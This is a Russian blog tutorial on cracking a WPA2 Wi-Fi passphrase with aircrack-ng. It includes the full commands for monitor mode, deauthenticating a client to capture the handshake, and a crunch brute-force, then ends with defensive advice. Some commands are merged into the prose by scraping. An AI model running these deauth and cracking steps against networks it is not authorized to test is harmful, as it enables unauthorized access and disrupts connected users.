Эта статья написана исключительно в обучающих целях, и её можно использовать для проверки устойчивости ко взлому только своего оборудования.
В наше время технология Wi-Fi стала очень распространена, в каждом жилом доме или офисе можно поймать 3 и более wi-fi сетей. Я уверен, что у вас тоже имеется несколько домашних или рабочих wi-fi точек. И все знают, или хотя бы слышали о том, что wi-fi уязвим, но насколько, и как проверить насколько уязвима ваша личная точка никто толком не знает. Чем собственно и пользуются недоброжелатели и охотники до халявы.
В данной статье мы рассмотрим атаку на самый распространённый протокол безопасности WPA2(он же является самым надёжным на данный момент), и самый распространённый тип атаки - перебор по словарю(brute force).
Для этого в режиме мониторинга беспроводной карты сканируется эфир и
записываются необходимые пакеты. Далее проводится деавторизация клиента
для захвата начального обмена пакетами (handshake), либо нужно ждать
пока клиент совершит подключение. После этого уже нет необходимости
находиться недалеко от атакуемой точки доступа. Атака проводится оффлайн
с помощью специальной программы и файла с хэндшейком.(Wikipedia)
В качестве атакующего ноутбука я использую Lenovo G770 с Wi-Fi адаптером Atheros AR9285, драйвер ath9k операционной системой GNU/Linux Debian squeeze x86_64 с подключенным репозитарием squeeze-backports. В принципе подойдёт любой Debian/Ubuntu, главное чтобы был рабочий Wi-Fi драйвер.
Для сбора трафика и анализа файла с хэндшейком нам потребуется aircrack-ng, для генерации word list нам потребуется crunch.
Итак, приступим.
Установим всё необходимое для сборки пакетов
apt-get update apt-get install build-essential libssl-dev libsqlite-dev -y
Приступим к установке aircrack-ng
Теперь поставим crunchwget -O aircrack-ng-1.1.tar.gz http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz tar xfv aircrack-ng-1.1.tar.gz cd aircrack-ng-1.1/ make make install airodump-ng-oui-update
wget -O crunch-3.2.tgz "http://downloads.sourceforge.net/project/crunch-wordlist\ /crunch-wordlist/crunch-3.2.tgz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcrunch-\ wordlist%2Ffiles%2Fcrunch-wordlist%2F&ts=1341152956&use_mirror=citylan" tar xfv crunch-3.2.tgz cd crunch3.2/ make make install ln -s /pentest/passwords/crunch/crunch /usr/sbin/
Платформу мы подготовили, приступим к атаке.
Запустим airmon-ng в режиме мониторинга вашей Wi-Fi карты.Если вы получили сообщение подобное тому, что я выделил курсивом, значит вам нужно остановить перечисленные там сервисы и запущенные программы, которые используют интерфейс wlan0.airmon-ng start wlan0 Found 5 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! -e PID Name 1739 NetworkManager 1749 wpa_supplicant 1986 avahi-daemon 1987 avahi-daemon Process with PID 3000 (dhclient) is running on interface wlan0 Interface Chipset Driver wlan0 Atheros ath9k - [phy0]SIOCSIFFLAGS: Name not unique on network (monitor mode enabled on mon0)
В моём случае это будет выглядеть следующим образом:
При первом неудачном запуске у нас создался интерфейс mon0, который для удобства лучше удалить./etc/init.d/network-manager stop /etc/init.d/avahi-daemon stop killall wpa_supplicant -9
Для поставленной задачи нам понадобится 3 терминальных окна с правами доступа ROOT.airmon-ng stop wlan0 airmon-ng stop mon0
# Terminal 1
Создадим интерфейс mon0 для сканирования сети
Приступим к сканированию. Сейчас нас интересуют сети у которых есть клиент, в данном случае моя собственная AP с ESSID home-privat. Для следующего шага нам нужно записать BSSID(это мак адрес AP) и CH(это сокращение channel). Я их выделил жирным шрифтом.airmon-ng start wlan0 Interface Chipset Driver wlan0 Atheros ath9k - [phy0] (monitor mode enabled on mon0)
# Terminal 2airodump-ng mon0 CH 6 ][ Elapsed: 16 s ][ 2012-09-23 11:07 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:21:91:7E:C9:C7 -39 36 7 0 6 54 . WPA2 TKIP PSK home-privat 00:24:01:24:5A:21 -73 19 0 0 1 54e. WPA2 CCMP PSK SKYNET 54:E6:FC:9B:77:30 -79 30 0 0 6 54 . WPA2 CCMP PSK TP-LINK BSSID STATION PWR Rate Lost Packets Probes (not associated) 00:15:AF:82:D8:37 -84 0 - 1 11 3 SKYNET (not associated) 00:1D:D9:15:A3:BD -87 0 - 1 7 8 00:21:91:7E:C9:C7 D4:20:6D:09:96:36 -58 18 - 1 79 45 home-privat
Теперь, когда мы слушаем весь трафик, нам нужно выделить и сохранить в файл handshake запрос, чтобы потом с помощью брутфорса подобрать пароль.
Составим команду из известных нам данных:
- -c 6 :указываем что airodump-ng должен слушать 6-ой канал
- --bssid 00:21:91:7E:C9:C7 :указываем что airodump-ng должен принимать трафик, предназначенный для Access Point с маком 00:21:91:7E:C9:C7
- mon0 :указываем, что airodump-ng должен использовать интерфейс mon0
-w ./target-wifi
:указываем, что airodump-ng должен записывать свои файлы в текущую директорию по маскеtarget-wifi
# Terminal 3airodump-ng -c 6 --bssid 00:21:91:7E:C9:C7 mon0 -w ./target-wifi CH 6 ][ Elapsed: 12 s ][ 2012-09-23 11:09 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:21:91:7E:C9:C7 -31 100 125 26 2 6 54 . WPA2 TKIP PSK home-privat BSSID STATION PWR Rate Lost Packets Probes 00:21:91:7E:C9:C7 D4:20:6D:09:96:36 -60 24 - 1 55 39
Настало время прикинуться клиентом и сказать AP, что клиент разрывает соединение, после чего AP закроет соединение со своей стороны. Соответственно разрыв соединения станет неожиданностью для клиентского устройства, оно сочтет этот разрыв простым сбоем и попытается подключиться снова послав handshake запрос, который будет перехвачен и записан в файл home-privat-01.cap процессом, который в данный момент выполняется в Terminal 2.
Для этого нам понадобятся BSSID(mac адрес AP) STATION(mac адрес клиента, подключенного к AP).
Составим команду из известных нам данных:
-0 10
:указываем количество посылаемых сообщений о разрыве- -a 00:21:91:7E:C9:C7 :указываем BSSID
-c D4:20:6D:09:96:36
:указываем STATION- mon0 :указываем интерфейс
aireplay-ng -0 10 -a 00:21:91:7E:C9:C7 -c D4:20:6D:09:96:36 mon0 11:15:58 Waiting for beacon frame (BSSID: 00:21:91:7E:C9:C7) on channel 6 11:15:59 Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [42|64 ACKs] 11:15:59 Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [49|66 ACKs] 11:16:00 Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [18|64 ACKs] 11:16:00 Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [30|66 ACKs] 11:16:01 Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [ 5|64 ACKs] 11:16:01 Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [71|65 ACKs] 11:16:02 Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [21|63 ACKs] 11:16:02 Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [67|65 ACKs] 11:16:03 Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [20|66 ACKs] 11:16:03 Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [ 6|64 ACKs]
Если вы получили сообщение следующего содержания, то вам следует пересобрать compat-wireless для вашей системы, как это написано тут.
# Brute-force20:06:34 Waiting for beacon frame (BSSID: 00:21:91:7E:C9:C7) on channel -1 20:06:34 mon0 is on channel -1, but the AP uses channel 6
Как было написано выше, для перебора паролей мы будем использовать программу crunch (мы её установили в начале статьи).
Давайте рассмотрим параметры запуска:
- /pentest/passwords/crunch/crunch :Указываем путь до самого Crunch
- 1 8 :Указываем диапазон длинны пароля от 1-го до 8им символов
- -f /pentest/passwords/crunch/charset.lst : Читаем файл в котором описаны возможные списки символов для составления паролей(загляните в него, чтобы выбрать нужный)
- lalpha :Указываем, что мы будем перебирать пароли только из букв в нижнем регистре
- | aircrack-ng :Передаем список паролей программе aircrack-ng
- ./target-wifi-01.cap :Читаем файл в который мы записали handshake
- -e home-privat :Указываем ESSID
- -w - :Читаем wordlist из стандартного потока ввода
Перебирать пароли можно в несколько потоков, в том числе и на разных машинах. Соответственно на них так же должен быть установлен aircrack-ng и crunch. Имеет смысл поиграть с разной длинной пароля, попробовать букво-циферные комбинации в высоком и нижнем регистре. Все возможные комбинации перечислены в файле /pentest/passwords/crunch/charset.lst
После запуска брутфорса вы увидите следующее окно с меняющимся значением в поле Current passphrase. Когда перебор будет завершен, вы найдете там пароль от целевой системы./pentest/passwords/crunch/crunch 1 8\ -f /pentest/passwords/crunch/charset.lst lalpha\ | aircrack-ng ./target-wifi-01.cap -e home-privat -w -
Aircrack-ng 1.1275280 keys tested (1278.70 k/s) Current passphrase: password Master Key : 83 1B 20 A8 06 7F 5E 32 1F 4A C7 84 23 C1 BA 78 E1 8E B2 C1 C8 0E 07 8F 99 21 28 75 21 4E 93 E4 Transient Key : D5 0D 28 DF BB 76 8B 2E 4B 09 F0 E9 73 76 1C 5A 95 AF 6A D2 BA 77 9F DD 7B 18 99 E7 A3 15 D6 8D 1A 47 CB A4 98 C5 B9 93 32 09 0C E2 73 54 74 86 D4 CB F3 A6 4D F3 6F FE 75 6F FC 6F EB 40 50 DD EAPOL HMAC : 9D 5E 31 AA FD 03 69 61 41 94 9C 08 B1 C0 60 7F
Теперь по скорости, в поле keys tested: указана скорость, с которой идет перебор вы можете рассчитать сколько потребуется времени для подбора вашего пароля на ресурсе http://lastbit.com/pswcalc.asp. Например пароль из 8-ми знаков в нижнем регистре будет подбираться около 6-ти лет =))
а пароль из 8ми символов в обоих регистрах + цифры будет подбираться 5490 лет
Вывод: для обеспечения более высокой стойкости сети вам необходимо использовать длинные пароли в верхнем и нижнем регистре. Так же, чтобы оградиться от атак по словарю, стоит испрользовать WPA-Enterprise, для защиты которого используется Extensible Authentication Protocol (EAP) В этом случае аутоинтоксикация будет происходить при помощи RADIUS сервера.
Так же не стоит забывать про уязвимость Hole196. Если при использовании WPA/WPA-Enterprise один паролей был скомпрометирован, то есть вероятность перехвата данных. Для избежания утечки информации используйте OpenVPN туннель поверх Wi-Fi.
Также не стоит забывать что при старом методе шифрования(WEP), всегда можно подобрать ключ методом генерации трафика и одновременно его анализируя.
ОтветитьУдалить